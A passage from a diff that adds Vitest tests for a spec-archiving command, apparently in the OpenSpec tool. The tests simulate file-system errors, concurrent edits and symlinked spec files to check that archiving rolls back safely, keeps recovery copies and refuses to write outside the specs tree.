expect(fs.readFile(delta, 'utf-8')).resolves.toContain('Concurrent delta edit.'); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + }); + + it('rolls back when a staged delta changes during the fallback copy', async () => { + const changeName = 'delta-race-during-fallback-copy'; + const changeDir = await createChange( + changeName, + 'legacy-layer', + `## ADDED Requirements + +### Requirement: A replacement behavior +The system SHALL provide a replacement behavior. + +#### Scenario: Replacement is available +- **WHEN** it is requested +- **THEN** it is available +` + ); + const delta = path.join(changeDir, 'specs', 'legacy-layer', 'spec.md'); + const targetDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + const target = path.join(targetDir, 'spec.md'); + await fs.mkdir(targetDir, { recursive: true }); + const original = mainSpec('legacy-layer'); + await fs.writeFile(target, original); + + const realRename = fs.rename.bind(fs); + const realCopyFile = fs.copyFile.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source).endsWith( + `${path.sep}openspec${path.sep}changes${path.sep}${changeName}` + ) && + String(destination).includes(`${path.sep}changes${path.sep}archive${path.sep}`) + ) { + throw Object.assign(new Error('cross-device move'), { code: 'EXDEV' }); + } + return realRename(source, destination); + }); + let edited = false; + vi.spyOn(fs, 'copyFile').mockImplementation(async (source, destination, mode) => { + await realCopyFile(source, destination, mode); + if ( + !edited && + String(source).includes(`${path.sep}.openspec-move-`) && + String(source).endsWith( + `${path.sep}specs${path.sep}legacy-layer${path.sep}spec.md` + ) + ) { + edited = true; + await fs.appendFile(source, '\nConcurrent staged delta edit.\n'); + } + }); + + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(/active delta.*changed during the fallback copy/); + + expect(edited).toBe(true); + await expect(fs.readFile(target, 'utf-8')).resolves.toBe(original); + await expect(fs.readFile(delta, 'utf-8')).resolves.toContain( + 'Concurrent staged delta edit.' + ); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + await expect( + fs.access( + path.join( + tempDir, + 'openspec', + 'changes', + 'archive', + `${formatLocalDate()}-${changeName}` + ) + ) + ).rejects.toThrow(); + }); + + it('archives through the staged fallback when the destination rename gets EPERM', async () => { + const changeName = 'eperm-fallback-succeeds'; + const changeDir = await createChange( + changeName, + 'legacy-layer', + `## ADDED Requirements + +### Requirement: A replacement behavior +The system SHALL provide a replacement behavior. + +#### Scenario: Replacement is available +- **WHEN** it is requested +- **THEN** it is available +` + ); + const target = path.join( + tempDir, + 'openspec', + 'specs', + 'legacy-layer', + 'spec.md' + ); + await fs.mkdir(path.dirname(target), { recursive: true }); + await fs.writeFile(target, mainSpec('legacy-layer')); + + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source) === changeDir && + String(destination).includes(`${path.sep}changes${path.sep}archive${path.sep}`) + ) { + throw Object.assign(new Error('directory is busy'), { code: 'EPERM' }); + } + return realRename(source, destination); + }); + + await archiveCommand.execute(changeName, { yes: true }); + + await expect(fs.access(changeDir)).rejects.toThrow(); + await expect(fs.readFile(target, 'utf-8')).resolves.toContain( + '### Requirement: A replacement behavior' + ); + await expect( + fs.access( + path.join( + tempDir, + 'openspec', + 'changes', + 'archive', + `${formatLocalDate()}-${changeName}`, + 'specs', + 'legacy-layer', + 'spec.md' + ) + ) + ).resolves.not.toThrow(); + }); + + it('rolls back specs when EPERM also prevents staging the active change', async () => { + const changeName = 'eperm-staging-fails'; + const changeDir = await createChange( + changeName, + 'legacy-layer', + `## ADDED Requirements + +### Requirement: A replacement behavior +The system SHALL provide a replacement behavior. + +#### Scenario: Replacement is available +- **WHEN** it is requested +- **THEN** it is available +` + ); + const delta = path.join(changeDir, 'specs', 'legacy-layer', 'spec.md'); + const target = path.join( + tempDir, + 'openspec', + 'specs', + 'legacy-layer', + 'spec.md' + ); + await fs.mkdir(path.dirname(target), { recursive: true }); + const original = mainSpec('legacy-layer'); + await fs.writeFile(target, original); + + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source).endsWith( + `${path.sep}openspec${path.sep}changes${path.sep}${changeName}` + ) + ) { + throw Object.assign(new Error('directory is busy'), { code: 'EPERM' }); + } + return realRename(source, destination); + }); + + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(/Could not safely stage/); + + await expect(fs.readFile(target, 'utf-8')).resolves.toBe(original); + await expect(fs.access(delta)).resolves.not.toThrow(); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + await expect( + fs.access( + path.join( + tempDir, + 'openspec', + 'changes', + 'archive', + `${formatLocalDate()}-${changeName}` + ) + ) + ).rejects.toThrow(); + await expect( + fs.access(archiveClaimPath(`${formatLocalDate()}-${changeName}`)) + ).rejects.toThrow(); + expect( + (await fs.readdir(path.dirname(changeDir))).some((entry) => + entry.startsWith('.openspec-move-') + ) + ).toBe(false); + }); + + it('keeps applied specs when fallback retains a complete archive copy', async () => { + const changeName = 'retained-copy-keeps-specs'; + const changeDir = await createChange( + changeName, + 'updated-layer', + `## ADDED Requirements + +### Requirement: A new behavior +The system SHALL provide a new behavior. + +#### Scenario: New behavior is available +- **WHEN** it is requested +- **THEN** it is available +` + ); + const retiredDelta = path.join(changeDir, 'specs', 'legacy-layer'); + await fs.mkdir(retiredDelta, { recursive: true }); + await fs.writeFile(path.join(retiredDelta, 'spec.md'), REMOVE_ALL); + const updatedTarget = path.join( + tempDir, + 'openspec', + 'specs', + 'updated-layer', + 'spec.md' + ); + const retiredTarget = path.join( + tempDir, + 'openspec', + 'specs', + 'legacy-layer', + 'spec.md' + ); + await fs.mkdir(path.dirname(updatedTarget), { recursive: true }); + await fs.mkdir(path.dirname(retiredTarget), { recursive: true }); + await fs.writeFile(updatedTarget, mainSpec('updated-layer')); + await fs.writeFile(retiredTarget, mainSpec('legacy-layer')); + + const realRename = fs.rename.bind(fs); + const realRm = fs.rm.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source).endsWith( + `${path.sep}openspec${path.sep}changes${path.sep}${changeName}` + ) && + String(destination).includes(`${path.sep}changes${path.sep}archive${path.sep}`) + ) { + throw Object.assign(new Error('cross-device move'), { code: 'EXDEV' }); + } + return realRename(source, destination); + }); + vi.spyOn(fs, 'rm').mockImplementation(async (candidate, options) => { + if ( + String(candidate).includes( + `${path.sep}openspec${path.sep}changes${path.sep}.openspec-move-` + ) + ) { + throw Object.assign(new Error('source cleanup failed'), { code: 'EACCES' }); + } + return realRm(candidate, options); + }); + + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(/complete destination was retained for recovery/); + + const archivePath = path.join( + tempDir, + 'openspec', + 'changes', + 'archive', + `${formatLocalDate()}-${changeName}` + ); + await expect(fs.access(path.join(archivePath, 'specs'))).resolves.not.toThrow(); + await expect(fs.readFile(updatedTarget, 'utf-8')).resolves.toContain( + '### Requirement: A new behavior' + ); + await expect(fs.access(retiredTarget)).rejects.toThrow(); + }); + + it('rolls back earlier retirements when a later retirement fails', async () => { + const changeName = 'retire-two-rollback'; + const changeDir = await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const secondDelta = path.join(changeDir, 'specs', 'second-layer'); + await fs.mkdir(secondDelta, { recursive: true }); + await fs.writeFile( + path.join(secondDelta, 'spec.md'), + REMOVE_ALL.replace('Legacy Layer', 'Second Layer') + ); + const targets = ['legacy-layer', 'second-layer'].map((capability) => + path.join(tempDir, 'openspec', 'specs', capability, 'spec.md') + ); + for (const [index, target] of targets.entries()) { + await fs.mkdir(path.dirname(target), { recursive: true }); + await fs.writeFile(target, mainSpec(index === 0 ? 'legacy-layer' : 'second-layer')); + } + + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source).endsWith(`${path.sep}second-layer${path.sep}spec.md`) && + String(destination).includes('.openspec-retire-') + ) { + throw Object.assign(new Error('permission denied'), { code: 'EACCES' }); + } + return realRename(source, destination); + }); + + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(/failed to delete/); + + for (const target of targets) { + await expect(fs.readFile(target, 'utf-8')).resolves.toContain('### Requirement:'); + } + await expect(fs.access(changeDir)).resolves.not.toThrow(); + }); + + it('keeps committed retirement state when one backup cleanup fails', async () => { + const changeName = 'retire-backup-cleanup-failure'; + const changeDir = await createChange(changeName, 'a-layer', REMOVE_ALL); + const secondDelta = path.join(changeDir, 'specs', 'z-layer'); + await fs.mkdir(secondDelta, { recursive: true }); + await fs.writeFile(path.join(secondDelta, 'spec.md'), REMOVE_ALL); + const targets = ['a-layer', 'z-layer'].map((capability) => + path.join(tempDir, 'openspec', 'specs', capability, 'spec.md') + ); + for (const [index, target] of targets.entries()) { + await fs.mkdir(path.dirname(target), { recursive: true }); + await fs.writeFile(target, mainSpec(index === 0 ? 'a-layer' : 'z-layer')); + } + + const realUnlink = fs.unlink.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'unlink').mockImplementation(async (candidate) => { + if ( + String(candidate).includes( + `${path.sep}z-layer${path.sep}spec.md.openspec-retire-` + ) + ) { + throw Object.assign(new Error('permission denied'), { code: 'EACCES' }); + } + return realUnlink(candidate); + }); + + await expect(archiveCommand.execute(changeName, { yes: true })).rejects.toThrow( + /change remains archived.*backup was retained for recovery/s + ); + + await expect(fs.access(changeDir)).rejects.toThrow(); + await expect( + fs.access( + path.join( + tempDir, + 'openspec', + 'changes', + 'archive', + `${formatLocalDate()}-${changeName}` + ) + ) + ).resolves.not.toThrow(); + for (const target of targets) { + await expect(fs.access(target)).rejects.toThrow(); + } + await expect(fs.access(path.dirname(targets[0]))).rejects.toThrow(); + expect( + (await fs.readdir(path.dirname(targets[1]))).some((entry) => + entry.includes('.openspec-retire-') + ) + ).toBe(true); + }); + + it.skipIf(process.platform === 'win32')( + 'restores a retired symlink without overwriting its concurrently updated target', + async () => { + const changeName = 'retire-symlink-rollback'; + const changeDir = await createChange( + changeName, + 'a-layer', + REMOVE_ALL.replace('Legacy Layer', 'A Layer') + ); + const secondDelta = path.join(changeDir, 'specs', 'z-layer'); + await fs.mkdir(secondDelta, { recursive: true }); + await fs.writeFile( + path.join(secondDelta, 'spec.md'), + REMOVE_ALL.replace('Legacy Layer', 'Z Layer') + ); + + const shared = path.join(tempDir, 'shared-legacy.md'); + await fs.writeFile(shared, mainSpec('a-layer')); + const linkedSpec = path.join(tempDir, 'openspec', 'specs', 'a-layer', 'spec.md'); + await fs.mkdir(path.dirname(linkedSpec), { recursive: true }); + await fs.symlink(shared, linkedSpec); + + const secondSpec = path.join(tempDir, 'openspec', 'specs', 'z-layer', 'spec.md'); + await fs.mkdir(path.dirname(secondSpec), { recursive: true }); + await fs.writeFile(secondSpec, mainSpec('z-layer')); + + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source).endsWith(`${path.sep}a-layer${path.sep}spec.md`) && + String(destination).includes('.openspec-retire-') + ) { + await realRename(source, destination); + await fs.writeFile(shared, 'concurrent update\n'); + return; + } + if ( + String(source).endsWith(`${path.sep}z-layer${path.sep}spec.md`) && + String(destination).includes('.openspec-retire-') + ) { + throw Object.assign(new Error('permission denied'), { code: 'EACCES' }); + } + return realRename(source, destination); + }); + + await expect(archiveCommand.execute(changeName, { yes: true })).rejects.toThrow( + /Path is outside the allowed directory/ + ); + + expect((await fs.lstat(linkedSpec)).isSymbolicLink()).toBe(true); + expect(await fs.readlink(linkedSpec)).toBe(shared); + await expect(fs.readFile(shared, 'utf-8')).resolves.toBe(mainSpec('a-layer')); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + } + ); + + it.skipIf(process.platform === 'win32')( + 'preserves a concurrent replacement at a retired symlink path and restores the change', + async () => { + const changeName = 'retire-symlink-occupant'; + const changeDir = await createChange(changeName, 'a-layer', REMOVE_ALL); + const secondDelta = path.join(changeDir, 'specs', 'z-layer'); + await fs.mkdir(secondDelta, { recursive: true }); + await fs.writeFile(path.join(secondDelta, 'spec.md'), REMOVE_ALL); + + const shared = path.join(tempDir, 'shared-legacy.md'); + await fs.writeFile(shared, mainSpec('a-layer')); + const linkedSpec = path.join(tempDir, 'openspec', 'specs', 'a-layer', 'spec.md'); + await fs.mkdir(path.dirname(linkedSpec), { recursive: true }); + await fs.symlink(shared, linkedSpec); + const secondSpec = path.join(tempDir, 'openspec', 'specs', 'z-layer', 'spec.md'); + await fs.mkdir(path.dirname(secondSpec), { recursive: true }); + await fs.writeFile(secondSpec, mainSpec('z-layer')); + + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source).endsWith(`${path.sep}a-layer${path.sep}spec.md`) && + String(destination).includes('.openspec-retire-') + ) { + await realRename(source, destination); + await fs.writeFile(linkedSpec, 'concurrent occupant\n'); + return; + } + if ( + String(source).endsWith(`${path.sep}z-layer${path.sep}spec.md`) && + String(destination).includes('.openspec-retire-') + ) { + throw Object.assign(new Error('permission denied'), { code: 'EACCES' }); + } + return realRename(source, destination); + }); + + await expect(archiveCommand.execute(changeName, { yes: true })).rejects.toThrow( + /Path is outside the allowed directory/ + ); + + expect((await fs.lstat(linkedSpec)).isSymbolicLink()).toBe(true); + expect(await fs.readlink(linkedSpec)).toBe(shared); + await expect(fs.readFile(shared, 'utf-8')).resolves.toBe(mainSpec('a-layer')); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + } + ); + + it.skipIf(process.platform === 'win32')( + 'rolls back an ordinary write through a spec symlink when a later write fails', + async () => { + const changeName = 'write-symlink-rollback'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const modified = [ + '## MODIFIED Requirements', + '', + '### Requirement: The system SHALL provide a legacy layer', + 'The system SHALL provide an updated legacy layer.', + '', + '#### Scenario: Layer is available', + '- **WHEN** a consumer imports the layer', + '- **THEN** the legacy layer is available', + '', + ].join('\n'); + const firstDeltaDir = path.join(changeDir, 'specs', 'a-layer'); + const secondDeltaDir = path.join(changeDir, 'specs', 'z-layer'); + await fs.mkdir(firstDeltaDir, { recursive: true }); + await fs.mkdir(secondDeltaDir, { recursive: true }); + await fs.writeFile(path.join(firstDeltaDir, 'spec.md'), modified); + await fs.writeFile(path.join(secondDeltaDir, 'spec.md'), REMOVE_ALL); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Done\n'); + await fs.writeFile( + path.join(changeDir, '.openspec.yaml'), + 'schema: spec-driven\nretire_capabilities: true\n' + ); + + const shared = path.join(tempDir, 'shared-write.md'); + const original = mainSpec('a-layer'); + await fs.writeFile(shared, original); + const linkedSpec = path.join(tempDir, 'openspec', 'specs', 'a-layer', 'spec.md'); + await fs.mkdir(path.dirname(linkedSpec), { recursive: true }); + await fs.symlink(shared, linkedSpec); + const laterSpec = path.join(tempDir, 'openspec', 'specs', 'z-layer', 'spec.md'); + await fs.mkdir(path.dirname(laterSpec), { recursive: true }); + await fs.writeFile(laterSpec, mainSpec('z-layer')); + + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source).endsWith(`${path.sep}z-layer${path.sep}spec.md`) && + String(destination).includes('.openspec-retire-') + ) { + throw Object.assign(new Error('permission denied'), { code: 'EACCES' }); + } + return realRename(source, destination); + }); + + await expect(archiveCommand.execute(changeName, { yes: true })).rejects.toThrow( + /Path is outside the allowed directory/ + ); + + await expect(fs.readFile(shared, 'utf-8')).resolves.toBe(original); + expect((await fs.lstat(linkedSpec)).isSymbolicLink()).toBe(true); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + } + ); + + it.skipIf(process.platform === 'win32')( + 'does not overwrite a concurrent chmod while rolling back an ordinary write', + async () => { + const changeName = 'write-mode-rollback-conflict'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const modified = [ + '## MODIFIED Requirements', + '', + '### Requirement: The system SHALL provide a legacy layer', + 'The system SHALL provide an updated legacy layer.', + '', + '#### Scenario: Layer is available', + '- **WHEN** a consumer imports the layer', + '- **THEN** the legacy layer is available', + '', + ].join('\n'); + for (const [capability, delta] of [ + ['a-layer', modified], + ['z-layer', REMOVE_ALL], + ] as const) { + const deltaDir = path.join(changeDir, 'specs', capability); + await fs.mkdir(deltaDir, { recursive: true }); + await fs.writeFile(path.join(deltaDir, 'spec.md'), delta); + } + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Done\n'); + await fs.writeFile( + path.join(changeDir, '.openspec.yaml'), + 'schema: spec-driven\nretire_capabilities: true\n' + ); + const writtenTarget = path.join( + tempDir, + 'openspec', + 'specs', + 'a-layer', + 'spec.md' + ); + const retiredTarget = path.join( + tempDir, + 'openspec', + 'specs', + 'z-layer', + 'spec.md' + ); + await fs.mkdir(path.dirname(writtenTarget), { recursive: true }); + await fs.mkdir(path.dirname(retiredTarget), { recursive: true }); + await fs.writeFile(writtenTarget, mainSpec('a-layer')); + await fs.writeFile(retiredTarget, mainSpec('z-layer')); + await fs.chmod(writtenTarget, 0o644); + + const realWriteFile = fs.writeFile.bind(fs); + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'writeFile').mockImplementation(async (candidate, data, options) => { + const result = await realWriteFile(candidate, data, options); + if (String(candidate).endsWith(`${path.sep}a-layer${path.sep}spec.md`)) { + await fs.chmod(candidate, 0o600); + } + return result; + }); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source).endsWith(`${path.sep}z-layer${path.sep}spec.md`) && + String(destination).includes('.openspec-retire-') + ) { + throw Object.assign(new Error('later retirement failed'), { code: 'EACCES' }); + } + return realRename(source, destination); + }); + + await expect(archiveCommand.execute(changeName, { yes: true })).rejects.toThrow( + /rollback would overwrite a concurrent change/ + ); + + expect((await fs.stat(writtenTarget)).mode & 0o777).toBe(0o600); + await expect(fs.readFile(writtenTarget, 'utf-8')).resolves.toContain( + 'updated legacy layer' + ); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + } + ); + + it('preserves a concurrent replacement at a retired regular-file path', async () => { + const changeName = 'retire-regular-occupant'; + const changeDir = await createChange(changeName, 'a-layer', REMOVE_ALL); + const secondDelta = path.join(changeDir, 'specs', 'z-layer'); + await fs.mkdir(secondDelta, { recursive: true }); + await fs.writeFile(path.join(secondDelta, 'spec.md'), REMOVE_ALL); + const firstSpec = path.join(tempDir, 'openspec', 'specs', 'a-layer', 'spec.md'); + const secondSpec = path.join(tempDir, 'openspec', 'specs', 'z-layer', 'spec.md'); + for (const [target, capability] of [ + [firstSpec, 'a-layer'], + [secondSpec, 'z-layer'], + ] as const) { + await fs.mkdir(path.dirname(target), { recursive: true }); + await fs.writeFile(target, mainSpec(capability)); + } + + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source).endsWith(`${path.sep}a-layer${path.sep}spec.md`) && + String(destination).includes('.openspec-retire-') + ) { + await realRename(source, destination); + await fs.writeFile(firstSpec, 'concurrent regular occupant\n'); + return; + } + if ( + String(source).endsWith(`${path.sep}z-layer${path.sep}spec.md`) && + String(destination).includes('.openspec-retire-') + ) { + throw Object.assign(new Error('permission denied'), { code: 'EACCES' }); + } + return realRename(source, destination); + }); + + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(/rollback would overwrite a concurrent change/); + + await expect(fs.readFile(firstSpec, 'utf-8')).resolves.toBe( + 'concurrent regular occupant\n' + ); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + }); + + it('continues restoring earlier writes after a later rollback conflict', async () => { + const changeName = 'rollback-continues-after-conflict'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const modified = [ + '## MODIFIED Requirements', + '', + '### Requirement: The system SHALL provide a legacy layer', + 'The system SHALL provide an updated legacy layer.', + '', + '#### Scenario: Layer is available', + '- **WHEN** a consumer imports the layer', + '- **THEN** the legacy layer is available', + '', + ].join('\n'); + for (const [capability, delta] of [ + ['a-layer', modified], + ['b-layer', REMOVE_ALL], + ['z-layer', REMOVE_ALL], + ] as const) { + const deltaDir = path.join(changeDir, 'specs', capability); + await fs.mkdir(deltaDir, { recursive: true }); + await fs.writeFile(path.join(deltaDir, 'spec.md'), delta); + } + await fs.writeFile( + path.join(changeDir, '.openspec.yaml'), + 'schema: spec-driven\nretire_capabilities: true\n' + ); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Done\n'); + + const targets = new Map<string, string>(); + for (const capability of ['a-layer', 'b-layer', 'z-layer']) { + const target = path.join( + tempDir, + 'openspec', + 'specs', + capability, + 'spec.md' + ); + const original = mainSpec(capability); + await fs.mkdir(path.dirname(target), { recursive: true }); + await fs.writeFile(target, original); + targets.set(target, original); + } + + const bTarget = [...targets.keys()].find((target) => + target.includes(`${path.sep}b-layer${path.sep}`) + )!; + const zTarget = [...targets.keys()].find((target) => + target.includes(`${path.sep}z-layer${path.sep}`) + )!; + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source).endsWith(`${path.sep}b-layer${path.sep}spec.md`) && + String(destination).includes('.openspec-retire-') + ) { + await realRename(source, destination); + await fs.writeFile(bTarget, 'concurrent occupant\n'); + return; + } + if ( + String(source).endsWith(`${path.sep}z-layer${path.sep}spec.md`) && + String(destination).includes('.openspec-retire-') + ) { + throw Object.assign(new Error('permission denied'), { code: 'EACCES' }); + } + return realRename(source, destination); + }); + + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(/rollback would overwrite a concurrent change/); + + const aTarget = [...targets.keys()].find((target) => + target.includes(`${path.sep}a-layer${path.sep}`) + )!; + await expect(fs.readFile(aTarget, 'utf-8')).resolves.toBe(targets.get(aTarget)); + await expect(fs.readFile(bTarget, 'utf-8')).resolves.toBe('concurrent occupant\n'); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + }); + + it('does not retire under --no-validate, since nothing checked the result', async () => { + // The safety argument is the validator's verdict. With validation off + // there is none, so the pre-#1302 behavior stands: write the spec. + const changeName = 'retire-unvalidated'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile( + path.join(mainSpecDir, 'spec.md'), + `${mainSpec('legacy-layer')}\n## Notes\nHand-written notes worth keeping.\n` + ); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + const written = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(written).toContain('## Notes'); + expect(written).not.toContain('### Requirement:'); + }); + + it('refuses to retire while any ### heading remains under Requirements', async () => { + // A stray `### Requirements` under Purpose captures the validator's + // section lookup, so it reports "no requirements" for a spec that plainly + // still has one. A reader is not fooled, and neither is this guard. + const changeName = 'retire-residual-heading'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile( + path.join(mainSpecDir, 'spec.md'), + [ + '# legacy-layer Specification', + '', + '## Purpose', + PURPOSE, + '', + '### Requirements', + '(a stray sub-heading a previous author left behind)', + '', + '## Requirements', + '', + '### Legacy note', + 'The system SHALL keep the legacy note until migration completes.', + '', + '#### Scenario: Note applies', + '- **WHEN** a reader consults the note', + '- **THEN** it applies', + '', + REQUIREMENT, + '', + ].join('\n') + ); + + await archiveCommand.execute(changeName, { yes: true }); + + const survived = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(survived).toContain('### Legacy note'); + }); + + it('does not claim a resolved path for an ordinary retirement', async () => { + // The temp root is itself reached through a symlink on macOS + // (/var -> /private/var), so comparing resolved-vs-canonical paths would + // decorate every retirement with a note that means nothing. + const changeName = 'retire-plain-path'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpec('legacy-layer')); + + await archiveCommand.execute(changeName, { yes: true, json: true }); + + const payload = JSON.parse(lastJsonPayload()); + // The retirement warning carries no resolved-path suffix: the nominal + // path told the whole story. Asserted on the path, not on message prose. + const retirement = payload.archive.warnings.find((w: string) => + w.includes('capability retired') + ); + expect(retirement).toBeDefined(); + // Canonicalized for the same reason as the symlinked-spec.md test: the + // warning would print the resolved form, so comparing the raw tempDir + // would pass regardless of what the code did. + expect(retirement).not.toContain(await fs.realpath(tempDir)); + }); + + it.skipIf(process.platform === 'win32')( + 'refuses to retire through a capability symlink outside the specs tree', + async () => { + const changeName = 'retire-outside'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const outside = path.join(tempDir, 'outside', 'legacy-layer'); + await fs.mkdir(outside, { recursive: true }); + await fs.writeFile(path.join(outside, 'spec.md'), mainSpec('legacy-layer')); + await fs.symlink(outside, path.join(tempDir, 'openspec', 'specs', 'legacy-layer'), 'dir'); + + await archiveCommand.execute(changeName, { yes: true, json: true }); + + expect(process.exitCode).toBe(1); + expect(lastJsonPayload()).toContain('resolves outside'); + await expect(fs.access(path.join(outside, 'spec.md'))).resolves.not.toThrow(); + await expect( + fs.access(path.join(tempDir, 'openspec', 'changes', changeName)) + ).resolves.not.toThrow(); + } + ); + + // The veto must not depend on WHERE the heading sits. Anything after the + // last `### Requirement:` belongs to that block's raw and is discarded with + // it, so reading the rebuilt body only ever saw headings above the first + // requirement - and silently deleted the identical heading written below. + it.each(['before', 'after'])( + 'refuses to retire with a stray heading %s the requirement', + async (position) => { + const changeName = `retire-heading-${position}`; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const note = [ + '### Migration notes (hand-written, keep)', + 'Move consumers to v2 before deleting the shim.', + ].join('\n'); + const body = position === 'before' ? `${note}\n\n${REQUIREMENT}` : `${REQUIREMENT}\n\n${note}`; + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpec('legacy-layer', body)); + + await archiveCommand.execute(changeName, { yes: true }); + + const survived = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(survived).toContain('### Migration notes'); + expect(process.exitCode).toBe(1); + } + ); + + it('refuses to retire a reader-visible heading absorbed before a scenario', async () => { + const changeName = 'retire-indented-requirement'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const original = mainSpec( + 'legacy-layer', + [ + '### Requirement: The system SHALL provide a legacy layer', + 'The system SHALL preserve legacy behavior.', + '', + ' ### Requirement: Reader-visible', + 'The system SHALL keep this reader-visible requirement.', + '', + '#### Scenario: Legacy applies', + '- **WHEN** legacy behavior is requested', + '- **THEN** it remains available', + ].join('\n') + ); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + const target = path.join(mainSpecDir, 'spec.md'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile(target, original); + + await archiveCommand.execute(changeName, { yes: true }); + + await expect(fs.readFile(target, 'utf-8')).resolves.toBe(original); + expect(process.exitCode).toBe(1); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('### Requirement: Reader-visible') + ); + await expect( + fs.access(path.join(tempDir, 'openspec', 'changes', changeName)) + ).resolves.not.toThrow(); + }); + + it.skipIf(process.platform === 'win32')( + 'does not claim it deleted the target of a symlinked spec.md', + async () => { + // realpath follows the link; unlink removes the link and leaves the + // target alone. Naming the target would report a deletion that never + // happened. + const changeName = 'retire-symlinked-file'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const shared = path.join(tempDir, 'shared-legacy.md'); + await fs.writeFile(shared, mainSpec('legacy-layer')); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.symlink(shared, path.join(mainSpecDir, 'spec.md')); + + await archiveCommand.execute(changeName, { yes: true, json: true }); + + const payload = JSON.parse(lastJsonPayload()); + expect(payload.archive).toBeNull(); + expect(payload.status[0].message).toContain('Path is outside the allowed directory'); + expect((await fs.lstat(path.join(mainSpecDir, 'spec.md'))).isSymbolicLink()).toBe(true); + // The shared file really is still there. + await expect(fs.readFile(shared, 'utf-8')).resolves.toContain('### Requirement:'); + } + ); + + + it('reports a destination taken during the merge as a collision, not a raw errno', async () => { + // The pre-flight check cannot cover the whole merge, so the move itself + // has to name the same condition rather than leaking ENOTEMPTY. + const changeName = 'retire-raced'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpec('legacy-layer')); + const archived = path.join( + tempDir, + 'openspec', + 'changes', + 'archive', + `${formatLocalDate()}-${changeName}` + ); + // Claim the destination while the confirmation prompt is open. + const { confirm } = await import('@inquirer/prompts'); + onTestFinished(() => 